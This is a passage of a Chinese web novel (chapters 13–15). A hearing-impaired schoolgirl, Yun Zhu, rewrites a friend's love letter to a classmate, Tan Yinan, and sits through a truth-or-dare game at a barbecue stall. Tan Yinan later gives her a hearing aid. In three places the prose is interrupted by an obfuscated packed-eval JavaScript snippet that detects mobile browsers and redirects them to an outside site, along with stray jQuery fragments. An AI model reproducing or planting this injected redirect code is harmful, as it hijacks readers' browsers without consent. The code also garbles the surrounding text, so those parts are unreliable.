瞳孔中倒映的歪歪扭扭的字迹顺势下滑,云竹从头看到尾,楚彩本人长得确实好看,品行不错,待人真诚,只是这文采功底……着实不堪入目,没有看到她自己改编的具有个人色彩的语句,反而是几年前在网络流行的Q/Q空间情话居多,还有大篇幅的抒感爱情的古诗词鉴赏,乍一看,倒像是网络情话语录集合搅混着古代诗词文学的混合体。 这样直接抄写下来,递给谭以南,真的会好吗? 云竹蹙起眉头,紧紧捏住楚彩递给她的A4纸张,正在思考要不要委婉地和楚彩说一声能否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018607|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重写一版或自行编写。 “怎么样怎么样?是不是被我写得内容震撼到了?你们两个看完以后有没有内心被触动的感觉?给我说说。”楚彩在云竹桌子旁蹦蹦跳跳,双手托腮,两眼发光地看着不知所措的云竹和罕见沉默的程慕。 “额……谭以南看了会夸你不愧是才女。”程慕给出中肯评价。 “云竹,你认为怎么样?可不能因为我们认识就撒谎哦,我要真实评价。”楚彩笑眯眯的说。 “……”云竹咬住下唇,纠结要不要开这个口。 随后楚彩抽出来云竹放在桌子左上角垫在数学课本下方的手账本,翻出来观察前后封面,盯着手账本后方下角的条形码,“诶,这是手账本诶!这好东西我可没有买过。我总算是知道你们为什么愁眉苦脸不想告诉我了,是不是情书的纸质质量不太好?也对,毕竟是送给心上人的东西,必须隆重一点才行!” 云竹握紧了右手的按动笔,欲开口解释,却被程慕一把打断。不过云竹不怪她,以程慕的视角,云竹的正脸刚好是死角,看不到她开口说话。 “别说,也有可能嗷,还得是我们云竹细心!”程慕总算是找到了抛开情书写得内容讨论其他的话题了,“楚彩你有好看的本子吗?或者就近原则,云竹能不能帮楚彩一个小忙?就撕一张纸,改天我请你吃好吃的!” 围着云竹的两个人跃跃欲试,一个是主办发起者,一个是感到刺激跃跃欲试者。剩下云竹一个人困在原地,她对这次送情书的策划原本抱有退缩心理,对上谭以南几乎一眼能看透人心的眼神,云竹便没了对策。 谭以南没看过她的字,云竹按照流程说这是楚彩写得,也很凑巧蒙混过关。 但送她的手账本可就完全不一样,谭以南给她买这本手账本时对封面必然会有印象,手账本的内页和粉紫色带点嫩绿的封面元素如出一辙。 万一、万一谭以南联想到了怎么办?会不会认为是她写的?……不对,实际情况就是她抄写下来的,这样说也没错,但云竹不是真正想写的,她只是一个负责代抄和传达的角色,不是主人公。 耳边女生志在得意的嬉笑声不绝于耳,把左耳堵上,闭上眼睛也能想象到她们对未来坚定信念必然成功的开心笑声。年少时,情绪多变,笑声如银铃般好听,可偏偏传到了云竹耳畔,却变成了聒耳不已的噪音。上课铃声打响,潮水般的笑声褪去,云竹一个人坐在座位上,目光凝视在课本的某一页。 窗外有风吹进来,课本书页轻轻翻页,飘落在纸上的女孩的思绪飞舞到空中,继续发散。 云竹打小就这样。但凡发生了什么事情,必然第一时间会想到所有事件的可能性,这样一来,最坏的可能性也做好了心理建设。她垂下眼皮,视线又落在笔杆上。 要不要告诉她们真相?说是谭以南送给她的?但这种说法会引起误会吧……尤其是对于暗恋谭以南的楚彩来说,是一种天塌了毁灭性的打击,难免会对云竹滋生怨恨,可云竹不想让这样的事情发生,她朋友向来就少,一旦失去未免可惜。 而且,想想…… 她好像也不是很喜欢谭以南, ……吧? 13.Chapter 13 飞鸟晚归巢,翅膀掠过橙红色的晚霞,扇起空气气流,惊扰梧桐枝头,引得直颤颤随风引动。 这一幕刚好落在云竹的眼眸之中。 苏琦不在家——这种情况算得上异常,但出于对大人生活没有兴趣,云竹也没有多问什么原因,多嘴会引火上身。 关上卧室门,云竹穿着粉色塑料拖鞋坐在折叠桌边,家里没有专门供用学习的桌子,折叠桌平常会堆满瓶瓶罐罐,喝完只剩空瓶子的,还有喝了几口就扔在桌子上的变质了的饮料瓶。 收拾好折叠桌,云竹摊开楚彩写得情书。 今晚有大把时间应对这份任务。 直接抄写完交给谭以南,对方打开一看……说不好会对楚彩有什么刻板印象。放学前楚彩还说了,云竹是她们班语文成绩名列前茅,作文可是在省里面得过一等奖的雪花酥那个,可以自行发挥,不用让楚彩再过目。 思来想去,云竹决定还是自己动笔写最好。月光皎皎,倾泻到手账本的特种纸上,云竹咬着笔头,目光在窗外楼下眼神过来的虬枝游走。 “谭同学,你好。这是我第一次给你写情书……” 这段话原封不动抄上去。 随后云竹盯着那些“语文古诗词鉴赏”,无从下笔,思考许久。云竹不会写情书,活着的十多年来,她从来没有暗恋或明恋过哪个人,骨子里的卑微显而易见,在孤独家庭的打压下,竟然萌生出了一种‘被我喜欢上的人估计也很可怜走不到一起’的悲观想法,甚至连流行的土味情话都没听过几句。 让她重写一份情书,还是以暗恋视角,属实为难。 不如让她去啃数学题。 楚彩说不用让她再过目,通俗点讲,或许随便写一写也能完成。 云竹打开手机,去百度上搜索“情话大全”,呈现的结果让人起一身鸡皮疙瘩,更加无从下笔。 硬着头皮写一写试试。 “不知道你记不记得我,但是不记得也没关系,希望这封情书你能耐心看完,如果不喜欢那便销毁就好,让这份心意只有你我知道。 你不经常来学,听人说身体很差,我经常从其他同学嘴里听到过你的传言,学习成绩好,相貌好,总之什么都好。我不知道你是否记住了班里每个同学的名字,也许有我的,没记住也没事,总有一天我们会再见面的。想到每次考试时,我们的名字出现在同一张名单,坐在同一个考场。 高中的校园生活枯燥乏味,每逢放学时,我们都会经过花坛前的一棵女贞树,夏天的风总是燥热而绵长,风起,叶落,风再卷,叶子便不会被裹挟在空中了。不知道你有没有注意到过,一楼教室外面的梧桐树,它长得特别高,特别粗壮。我听程慕说,这棵老树在学校没有建立之前就有了,好高的树龄,但是枝叶比别的树都要小,我观察的是这样,每到季节结的毛绒绒的果实也是小的,这是不是和学校有关系?我们学生的早读声音是不是太大,吵到它休息生长了?看来,梧桐树也不喜欢听讲知识学习。 我很喜欢观察学校的一切,每个科目的老师用过的粉笔,哪一头磨损得最狠;每到下午放学,大家迎着扑面而来的晚风,奔向流彩晚霞和食堂的衔接尽头,刚下课的那五分钟,会有火烧云出现,风吹起,像是有热水浇在了云上慢慢晕染开来。 听说你数学特别好,我很想让你给我讲一道题,一直开不了口。我十分羡慕你这种平常看起来懒懒散散上课睡觉,但一学就能学透的聪明人。老人说,都说上天是公平的,给每一个人开了一扇窗,就会关了另一扇窗。但是我还是羡慕又不理解,为什么绝大多数人勤勤恳恳学习,最终还是比不过天赋型学生呢?我想,可能是我做得还不够努力。写到这里,我才发觉写了好多好多内容,你不要嫌弃我写的都是废话,因为我是第一次写情书,从来没有暗恋过一个人,如果你嫌弃的话,可以让我重写一份。写这封情书是在落日余晖没入远方云层时,希望你能看完。 我们穿插行走在熙熙攘攘的人流之中,万分之一的可能,仅仅擦肩相视,就此别过。” 笔尖停在粉绿色手帐纸的末端。 云竹抬起头,拿起笔,看向窗外的无尽落日。 谭以南看到这封情书,会是什么样的反应呢? 是淡淡一笑礼貌收下,还是像青春校园小说中像校霸一样,看都不看直接扔进垃圾桶里? 如果是后者的话,楚彩会伤心的吧。 云竹右手支着头,眼神暗淡下去。 收起信纸的那一刻,云竹像是想起了什么,在末句加上一句话“期待你的回信,谭以南”。 勉强应付完这封情书后,程慕一个电话打过来,云竹正在整理桌子,将楚彩亲笔写的原版情书收起来,折成四四方方的小纸片,在文具盒里。至于她写的这封,是要真正送出去的。 “云竹,下楼,我在你家楼下面!惊不惊喜意不意外?!”程慕大嗓门穿透手机传声器,幸好云竹的手机放在桌子角。 云竹听闻后,光着脚丫——她的塑料拖鞋开胶,左拖鞋鞋底还被不知道从哪里跑来的老鼠咬了,跑到窗边,探着头往下看,果真在一片黑暗中看到一个笑盈盈的圆脸女孩,朝她挥舞着手臂。 承认这一瞬间是高兴的。 终于有人找她玩了。 很快,带有喜悦色彩的心情渐渐变质。 云竹垂下眼,眼底的莹光融进黑夜。 程慕刚刚说的,云竹记得清清楚楚。那天程慕说让云竹用手帐纸撕下来写情书,帮一个忙,要知道在那个时代,最新款的手账本,连程慕一个月的生活费买下来都牙疼。这次晚饭是请云竹帮的忙。 请她吃饭还要花钱,云竹想到两个人一人买一块面包,坐在大马路牙子上啃着,也是一件幸福的事情。但如果程慕请她吃比较贵的晚饭,云竹坐立难安,泛酸的心脏滋生出逃离的想法,连程慕的面也排斥见到。 这种异样的感觉,云竹厌恶,也厌恶自己。 “快下来啊云竹!你在磨蹭什么呢!难道你就愿意在楼上看着我被大风呼呼呼吹得头疼啊?”程慕索性不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022338|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着电话讲,双手作喇叭状,对着云竹所在的楼层大喊。 云竹左耳失聪,右耳也差不多能听到。 云竹简简单单收拾完东西,拿起手机:“……谢谢你,程慕,你打算去哪里吃?我不太饿,路上买个面包填饱肚子就好。” 她委婉告诉程慕自己的需求。 程慕是个直性子,“不饿?那我饿啊,你不吃那就剩下来,或者咱俩吃一份,拿两个小碗分着吃,我好不容易约你出来,你说不饿,未免太扫兴了吧?” 云竹捏紧了手机,片刻不语,最终还是应了。和楼下王婆婆告别时,得知谭以南也不在家,不过这个时候云竹也没有闲工夫去想他去了哪里,见到程慕后先是被紧紧地抱住,面对云竹洋洋洒洒蹦蹦跳跳,拉着手一路上讲趣事。 长街一路亮灯,亮光昏明,油柏路上倒映出亮晶晶的碎金。晚风经过小巷,从两人间并隙而过,旋转奔向一家窗前的茉莉花盆栽。 筒子楼离学校近,路上有不少小吃。烤面筋烤肠和当街小吃各种滋生味蕾的香味直钻鼻腔,孜然辣椒大手大脚洒在烤串上,馋的程慕直咽唾沫。 一路上云竹都听程慕的意见,坐在小摊前的木桌子上,等着老板娘的美味炒面。云竹不能吃辣,要了一份清淡面。程慕则是大喇喇地要了分爆辣炒面和一份鸡蛋汤。 烧油在锅中滋滋冒响,传入程慕耳畔,她吸了吸鼻子,“怎么样?这家的炒面我听说可好吃了!带你过来尝尝,也不贵,你别有心理负担,就当我开心,随便请你吃,啊。” 云竹低头看着桌面,悄悄躲避程慕的眼睛,她不知道为什么如此害怕,大抵是怕对上程慕这样明亮发热的眼睛,会被烫伤。许久后,云竹才小声说道:“……谢、谢谢你,我以为你是为了楚彩……” “哎,咋可能?我们才是朋友啊,再说了我跟楚彩的相熟程度还不到咱俩的一半,我发现一个很恐怖的事情,我一不和你说话,我就闷得慌,快憋死了。”程慕眉眼弯弯,说道。 “你助听器还没有买到吗?我上次去帮课代表搬作业,你的位置很靠后诶,这样英语听力你是不是听不见?” “……没有。没关系。”云竹摇摇头。 程慕苦口婆心:“确定没关系?英语听力占总分啊,你是火箭班转到普通班的,少了这几十分,你其他科不再往上提一点把这几十分补上,下次你就回不到火箭班了。” 云竹脸色颇为难为情,“我再攒攒钱吧,下一次我买一个便宜点的助听器。” 程慕顿了顿,说道:“要不你跟老师说说,听英语听力时你坐在教室前面?比如讲台上?” 云竹想象了一下她说的场面,打了个颤,“算了算了,没必要,太尴尬了,还是不了吧……” 正当云竹坐立难安连忙拒绝时,程慕拍了拍她的肩膀,眼神直直望着前方不远处的一家烧烤摊,“诶诶,云竹。” 云竹一愣。 程慕接着说:“你看,那个身影像不像……?” 云竹闻声回头看去—— 14. Chapter 14 比熟悉的身影来的更快的是她辨识度高的声音—— “哈哈哈哈!这个好玩!海湖你可真会玩!都来试试都来试试!” 程慕眯起眼睛,“这不是楚彩吗?她居然会在这里?” 一提到楚彩,情书的发起者。云竹便忍不住去想,她知道谭以南住在这里,那么今晚上是在这里蹲守的吗?更为重要的是王婆婆和云竹告别前,也提起过谭以南晚上不在家吃饭。 云竹不禁向烧烤摊看去。 烧烤摊的大伞挡住了大部分视野,云竹只能看到小巧的身影,那八成就是楚彩,她身边还有一个高高瘦瘦的身影,一动不动,身边的几个人围在他旁边。 她的心跳频率再一次发生了异常。 是得了某种怪病吗?怎么会如此剧烈? 云竹心想。 今夜气温骤降,热气相对于白天湿热的空气还算凉快清爽。不是热的,也不是冻的感冒了。那是怎么回事?云竹真觉得自己该去医院看看。 程慕一整个站起来,和老板娘招呼一声,左手拎起两份炒面,右手拉着云竹的手,齐齐向烧烤摊跑去。 “快来快来!楚彩也在呢!说不定谭以南也在,你们好好相处。而且云竹,你呀要多参加一些社交活动,比如说这次围在一起玩什么游戏呢,这样才能更好地融入社会。”程慕边说边扭过头对云竹笑。 生知云竹扭不过程慕,到了一桌子人面前,刚到这里,也不好找什么借口推脱离去。 面对着一桌子人,洒满孜然的烤串毫无章法地摆在桌子上,不少熟悉面孔,玩嗨了瘫在座椅上的海湖,站起来边吃羊肉串边整理道具的楚彩,还有王荼淑,也有不认识的几个男生…… 目光落在坐到最角落的谭以南,他不知道在看什么,垂眸不语,不开口讲话时整个人如同从油画里走出的完美人物。 烧烤摊挂着的白炽灯泡光芒映照在他的脸上,乌黑睫毛似乎挂着丝丝明亮,薄唇紧闭,一双波光流转的眼睛盯着杯子里的液体,手腕骨轻轻晃动,掌中水液随之漾起一个漩涡。 看到程慕和云竹过来后,也是一句话也没说。 云竹顿住呼吸。 他怎么会在这样里?体弱多病,还能喝酒吗? 原来王婆婆说的,他今晚不在家吃饭。 ……原来是陪楚彩在这里吃饭。 觉察到这一现状后,云竹浑身的精气神被抽走似的,也没心情在这里装装样子吃饭,想找人倾诉,但是谁又是她的倾诉对象?只好把这一口苦闷在心里,久而久之,也不想找人说话。她的腿移动困难,简直要瘫在这里。 ……其他人都不熟悉,甚至一两句话都没聊过。 云竹不禁往后退缩一步,谁知程慕死死拽着她的手。在楚彩的欢迎下找了个位置坐,给云竹一份沉甸甸的塑料袋,里面是还没开动的炒面。 “人多了人多了,人数够了啊,真心话大冒险开始之前,等我算个卦,看看今晚上校领导会不会巡逻,请叫我风水大师!” “我可去你的!我看你是喝多了吧海湖,今天是假期,又不是晚上偷偷溜出来吃烧烤喝啤酒的。” “谁先开始?楚彩吧!你先你先,你先转空酒瓶子,瓶口对着谁,谁就要根据瓶尾的人选择真心话还是大冒险。” “……” 烧烤摊的灯泡光亮和路灯交织在一起,桌面上的木头纹路显露出光泽,云竹坐下后就没再说一句话,她左边是楚彩谭以南,右边是程慕和王荼淑,正对面是喝得醉醺醺的海湖。 解开塑料袋,云竹拿出一次性筷子,拆开包装。心里想着,吃完这顿饭找个不舒服的理由就走,不打扰这些人玩乐,自己是个闷的别扭性子,程慕拉她来到这里,想来也是凑个人数。 饭桌上时不时传来海湖耍酒疯的玩笑话,惹得一众人哈哈大笑,爽朗的嬉笑声暴露他们的少年意气,云竹抬眼看去,整个人好似被孤立在热闹的氛围外。 和人群格格不入。 她是异类。 总是这样。 ……云竹怀疑自己的性子,她好似天生就是异类,被排挤在外,融入不到群体。听力障碍无疑加重了这一特质,从小到大没什么要好的朋友,和同桌关系也一般般,没有到更深的友情地步。到了高中遇到程慕,这扑朔迷离的离奇现象才有所缓解,但也仅仅是缓解,未到彻底解决的地步。 更多的是自我反思,云竹也会想是不是自己的问题,性格闷,内向,少说话,胆小,不喜欢麻烦,也不愿意麻烦别人——她有段时间实在想不通,为什么会有人天天麻烦别人,这会给别人带来麻烦,更何况,帮助别人是美好品德,不是法定义务。 她更不乐于社交,所以才交不来朋友。原因就是这一点,她无比清楚。没有人比她更了解自己。就像这社会大人们普遍认为内向是病,活泼开朗的孩子还是正常人。 那就当个异类,以这种身份继续待着。 云竹不切实际地想。 酒味混杂在空气中,随着气流流动到各个角落,云竹扇了扇面前的空气,惊觉酒味不是从身旁散发出来,程慕不喝酒,而身边坐的唯一男生是谭以南。 视线落在他右手指骨触碰的玻璃杯。 对方对视线游走极其敏锐,开口道:“在看什么?” 一句话打破云竹的凝思。 她一愣,随后答道:“……没什么,你原来没有喝酒吗?” 谭以南拎起杯身,晃荡着水液,满天的星空好似聚集在晶亮的液体中,“没有,我不喝酒。” 不喝酒。 ……原来他这么洁身自好。 云竹没话说,只好点点头。 又开始了,这尴尬的气氛。 云竹不是很想和谭以南在一起聊天,每次话题结束都是两两相觑,无话可说,又不知道说什么好,只好等着他先开口。但谭以南也不是个活泼性子,总是造成僵持的局面。 然而今夜他罕见地开口,无声地盯着云竹,“你想让我喝?” 云竹刚准备摇摇头,对面传来一声惊呼,架势将桌上的崂山啤酒咣当一声摔在地上,发出清脆的玻璃撞声,真心话大冒险游戏不知道什么开始了,云竹神游在外,注意力一点也没有放到上面。 只见程慕站起来背古诗,双手背后,边背边想,磕磕绊绊:“南村群童欺我老无力,忍能对面为盗贼。公然抱茅入竹去,谈笑间……什么来着?群童灰飞烟灭吧!就是这样!” 海湖噗嗤一声哈哈大笑,对着程慕说道:“哈哈哈哈什么鬼啊!” 程慕一听就炸,回怼反击:“怎么我背的不对吗?是我选的大冒险啊,你让我背一首古诗,我也背出来了。” “啥?我说的是实话,你背的什么鬼啊?什么群童灰飞烟灭,诗人听了能把棺材板掀起来揍你一顿好不好?怎么还赖上我了?”海湖一脸委屈,双腿乱蹬,险些将塑料座椅给掀飞,还是楚彩帮忙扶着椅子后垫,“来来来,不算了,算的头晕,开始转瓶!” 碧绿色的啤酒瓶子在不锈钢盘上顺时针转动,重影渐渐叠起,速度慢下来,在众人的目光中逐渐转向—— 瓶子停住。 “云竹,是你。”楚彩笑起来,“来吧,你是大冒险还是真心话?放心,我提的问题都很简单,不会刻意为难,你随便选就是。” 这一句话如同定海神针,云竹一下子放松警惕,楚彩果然名不虚传,人品十分不错,讲话给的多余空间到位。 “真心话吧,我选真心话……”声音越说越小,云竹没了底气,话刚说出口她便后悔,撒谎是她最不擅长的一项,更何况现场还有一个最难应付的人,一眼便能看穿伎俩。 云竹默默看了一眼谭以南。 女孩的眼睛会说话般,对上谭以南的目光,即刻闪开。 ……希望他能给一些面子,不要当面拆台就好了。云竹默默祈祷着,内心有一个小人双手合十跪在地上,虔诚无比。 “ok,那我就随便问了啊,别紧张。”楚彩眼睛转动着,“我想想……” 偏偏这时有其他男生起哄,“云竹长得这么好看,你问问她喜不喜欢我?” 程慕率先一脚踹开起哄男,“滚啊!云竹喜欢上我,都不可能喜欢你!就恶心你们这些狗屎普信男,一巴掌呼上去都不够打的!” 楚彩捂着嘴笑几声,眼睛一转,伸出食指,“有了!” 云竹抬起头。 楚彩站起来和她说话,云竹也不好坐着回复,这样一来,云竹潜意识认为身份不对等,同学之间是平等和谐互助的关系,应该也要站起来回复才对。 她坐的太久,小腿微微麻木,站起来时扶着座椅塑料扶手,地砖上布满了曾经饭客吃饭时滴落的油迹,久而久之,地面滑,她重心转移到椅子,左手使劲的地方往下一滑,整个人随之一个踉跄往后栽—— 白皙的大手扶住她的手臂。 是温冷的触感。 触碰的那一刻,两个人的体温顺势融合,温差让云竹失了神,下意识往后推了一步。她不喜欢和才认识不久的人接触,无论对方是同性还是异性,皮肤相触时造成异样的心理感受。 谭以南看了她一眼。 云竹脑子没反应过来,转了半天从唇里挤出两个字,“……谢谢。” 对方转过头,没了声音。 一组的同学喝得醉醉醺醺,海湖又嚷嚷着跳大神,程慕对几个男生连扇又踹,就差涌上去打一架,旁边的楚彩忙得大汗淋漓,叫了服务员把地上的空酒瓶子拿走。 “话不多说,来来来,我想到一个。”楚彩莞尔,指尖一点一点地打击桌面,“你们都别插嘴啊。” 几个闹腾的人安静下来,开始等待今天的重头戏。 楚彩眼睛炯炯有神,不放过云竹脸上一丝的表情。 她说:“云竹,在在场的人里面,你有没有喜欢的人?” 云竹当场怔然。 右手拿的筷子啪嗒一声掉进塑料袋。 喜、喜欢……? ……什么是喜欢?这种感情滋味是什么样的?怎么样才能描述? 云竹脸上有一瞬间的迷茫,游刃有余地躲开楚彩的眼睛,内心、脸上都是空白的,毫无色彩的。 有人捕捉到云竹细微的表情变化,打趣道:“欸,云竹,你这个反应,是不是真的有啊?是谁是谁?说出来,大胆追!” 云竹急忙摆摆手:“没有没有,真的没有……” 余光瞥见谭以南偏了一下头。 “诶呦,真的假的?我看你是在说谎吧?” “脸都红了啊你,楚彩,你追问一下试试!” “云竹,真的,喜欢一个人不丢脸!” “哈哈哈哈哈哈哈哈!别为难人家了,都坐下都坐下。” “……” 此起彼伏的议论声量重重叠叠,街道上车辆往来络绎不绝,各种混杂的噪音搅混在一起,云竹听不清楚任何言语,男男女女的声音像是糊了一层薄膜,听不真切。 “真的没有,我没喜欢过任何一个人。”反驳的言语积累在喉咙中,云竹张口欲言,那些字句仿佛说出来便没了声,她现在,只会没有意义地重复这一句话。 手指捏紧衣角,指甲粉中泛白,烧烤摊隔壁时不时传来爆笑声,聒耳噪音吓了众人一大跳,更是加重了云竹的烦躁。她不敢去看谭以南那一双穿透人心的眼睛,四目相对的那一刻,她就会“犯病”,熟悉的心跳加快和肾上腺素的威力领略到后,云竹更不敢去接触他。 “真的啊?” “说谎了吧?撒谎了可是要自罚一杯的哦。”一直沉默不语的王荼淑开口。 “没撒谎,别劝酒。” 久违的嗓音打破隐隐约约变质的氛围,一行人往声音的源头看去,谭以南挽起衣袖,露出纤瘦的手臂,他倒了半杯橙汁,橙黄色的果液在蒙亮灯光下,晶莹剔透。 “云竹,你坐下吧。”谭以南语气平静,再一次开口。 云竹这才有了反应,偏过头,看向谭以南,眼里满是迷茫。 她听不见? “坐下。”谭以南眼里闪过一丝微动,表面如故,右手往下招了招示意云竹坐下。 “那好那好,来来来下一局!该云竹你转瓶子了!”程慕拿着玻璃杯跑过来说道,她刚刚又向老板娘要了一份烤饼,奔向这边时,手里的可乐往前洒了一摊都没有注意到。 “云竹,你来转一转!”楚彩脸上泛起了一片红晕,也不顾表面的温淑,和程慕、王荼淑扭抱在一起。 云竹照做,默默隐退了这局游戏,身为局外人,还是不要打扰他们的兴致好。刚刚那次真心话大冒险,她的觉察力敏锐感受到了一众人的心情,没有其他人玩得更为开心。 夏季夜晚温度不算太低,手指隔着塑料袋还能感受到炒面的热气,云竹拿好筷子,垂眸,盯着塑料袋里的炒面,整个人和周边黑影融为一体。 她刚刚的反应,是不是太扫兴了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“被辣到了,咳咳咳……”云竹边咳边说,泪花不断从眼眶中渗出,“我先回去一趟。” 程慕见状也不好阻拦,放任她离去。 * 深夜十二点。 街道上空无一人,各家各户落了灯,窗门紧闭,一眼望去,空空荡荡。云竹用剩下的卫生纸擦去泪痕,这样的黑夜挺好的,她本是黑夜的影子,没人能听到她的哭诉。 卫生纸扔进街边垃圾桶,云竹甩了甩手,用最快的速度整理好衣着,还有一个路口就到王婆婆家,进门后,她这副哭泣的样子万万不能让王婆婆看到,婆婆年纪大了,不能再让她操心。 长风钻进街头小巷一路无阻,直直撞在云竹身上,头发丝轻抚两鬓,往后飘移。 万籁俱寂。 云竹拐进走过无数遍的街道,拾阶而上,身后传来一道声音,回响于蛛网布满角落的楼道,在空荡寂静的夜晚分外清晰。 她顿住脚步,回眸。 轻柔月光予谭以南的轮廓洒了一层薄白,他斜靠在墙边,黑色外套自然垂落在身上,显出挺拔的骨架。黑漆漆的楼道内,唯有那一双深邃的眼睛不慌不忙,接住云竹含泪的视线。 “……你怎么跟过来了?”云竹尽量稳住呼吸,可嘶哑怯懦的喉咙暴露了她。 “回家。”谭以南脸上没有任何表情,至少从平静无波的眼眸来看是这样,也许是天太黑,楼道太黑,云竹的眼睛被泪水模糊的原因,她没有看到。 “我自己一个人,能找到家。” “你没有家门钥匙。” “……”云竹不吭声。 “刚才玩游戏时,你怎么了?”谭以南罕见地主动挑起话题。 云竹转过头,看向一边。往前,她是不会主动和人揭露内心的伤疤,饶是岁月磋磨,长出了新的外皮,但依旧不是曾经,她也不知道为什么,表述不出来原因,或许是见到谭以南便呼吸急促的小病在作祟,将憋在心里积累成一团的想法迸发而出。 也不管认识多少天,双方熟悉到哪种地步。她不想管了,也不想在意什么重不重要的性质,现在只想找一个人倾诉,无论是谁,无论是非。 云竹握紧了拳头,强撑着眼泪不落。 ……算了,谭以南未必愿意听。 云竹选择有所保留:“我不想玩,我没几个认识的人。” 谭以南轻轻摇头,缓着步子走近,“不是这个。” 云竹抬起头,静了好一会,“那是什么?” 谭以南实话实说:“第一次遇到你,低血糖,我喊你,你没听到,游戏中,我喊你,你也没听到。” 云竹心中警铃大作,咽了口唾沫,“我身体不舒服。” 谭以南:“撒谎水平还是没一点长进。” 云竹绷紧的身体泄了气,肩膀放松下来,缓缓嫌掀起眼皮,最终坦白,“我耳朵不好。” 谭以南挑起眉,“你有听障?” 云竹低头,小声地“嗯”了一声。 “为什么不戴助听器?” “戴了,但丢了。” “你父母没给你再买一个?” “他们……”云竹犹犹豫豫开口。 到嘴边的话戛然而止,“不想给我买”硬生生咽进了肚子里,云竹改口说道:“家里没钱。” 谭以南笑了一声,听不出是气笑了还是感到好笑,“家里人骗你,你还真信。” 谭以南经过她,往前上楼梯,“你也是真好骗。” “我防范意识很强,别人骗不了我……”云竹跟着上楼梯,还想反驳,却被谭以南一口打住。 “傻成什么样了?正是因为你对外界警惕度高,才忽略了家庭带来的pua性欺骗。”谭以南不急不慢地看了一眼她。 “你说的……?” “没听说过很正常,我怀疑你是不是人格分裂,有时候很聪明,有时候被人耍得团团转,是装的还是心甘情愿。” 云竹垂头丧气,跟在他后面,“可是我妈妈骗我,我也是知道的,她喜欢弟弟,不喜欢我。” 谭以南顿住脚步,云竹不小心撞上去,双手捂着脑袋,蹙眉还想说什么,却见他回过头,正视她。 楼道拐角处的狭小窗户口透出一丝月光,谭以南整个人位于台阶上,逆光下,云竹面前。 云竹怔然。 谭以南开口:“那你呢?” “你愿意接受你本身的缺陷,喜欢你自己的人格么?” 15.Chapter 15 云竹这几天睡觉一直没睡好,躺在床上闭上眼睛,脑子里满是那天晚上,谭以南对她说的一字一句。 ——“你愿意接受你本身的缺陷,喜欢你自己的人格么?” 当时云竹是怎么回复谭以南的? 她想想。 哦,好像根本没有回复。 只是垂着头,如同丧失了语言能力。 直到王婆婆家,两个人零交流。 而现在,两个人在王婆婆家,依然无言相对。云竹瞟了一眼谭以南,欲言又止,止又欲言。 还是谭以南先打破了这场宁静,“你想说什么?” 云竹沉思片刻:“我想说……好像没什么能说的,你昨晚在楼道里说的话,我觉得很有道理。” 谭以南没吭声,转身端着盛满豆角的不锈钢盆去了厨房。云竹一个人坐在沙发上,抠着裤子的缝合线,脑袋放空。 厨房传来水声,谭以南淘完菜便走出来,云竹这才看到他穿了一件质地很好的浅灰色羊绒衫,衬得面容越发显白,像冬日清晨窗户玻璃上的一层薄雾。他缓步走来,俯视云竹。 云竹以为谭以南有话要讲,便端端正正坐好,抬起眼看他。 从客厅窗外的毛窗户透出光,将谭以南的影子拉长至云竹脚边,视线往上移动,手里拿着一个盒子,两指挑开盒面上的丝带,不急不慢地打开。 云竹听见心跳猛地漏了一拍,随即又重重地砸在胸腔上,震得耳膜嗡嗡作响。她静静地看着是那只小巧银灰的助听器,躺在谭以南没什么血色的掌心里,金属外壳在窗外昏黄的光线下,折射出一点微弱而熟悉的光泽。 这是……助听器? 云竹听到内心说出这个物件的名字。 这是在送给她吗? 可是……为什么? 喉咙像是被什么哽住,云竹张了张嘴,却发不出任何清晰的声音,又猛地收回了手,指尖蜷缩起来,不安地抓住衣角。目光在他苍白的脸上和他掌心那微小的希望之间慌乱地游移。 而面前的人唇角很轻地向上牵了一下,笑意淡淡,转瞬即逝。谭以南没说话,右手强势地把助听器外带盒子塞给了云竹手里。 那凉意顺着指尖一路蔓延上来。 云竹立刻攥紧,金属的棱角硌着掌心,带来一种近乎疼痛的真实感,正是此感加大了云竹的勇气,她喊住他的名字:“谭以南。” 谭以南停下,回头。 云竹挤出一点干涩的声音,眼睛紧紧盯着他,“你、你……为什么给我助听器?这个是不是很贵?你不用给我买的,没有必要……” “云竹。”谭以南缓缓抬眼,对上云竹的视线,轻轻叫了她的名字,他脸上依旧是带着点倦怠的平静,“需要的时候,就不是没有必要了。” “那你为什么要给我买?”云竹鼓起勇气追问。 “没什么。”他开口,声音清冽,带着点不易察觉的沙哑,目光投向楼道尽头那扇蒙着灰垢的、透进最后一点天光的窗户,语气平淡得像在谈论天气,“我钱多,放着也是放着。真要扯个什么理由搪塞给你,也只能说是行善积德。” 云竹默然片刻。 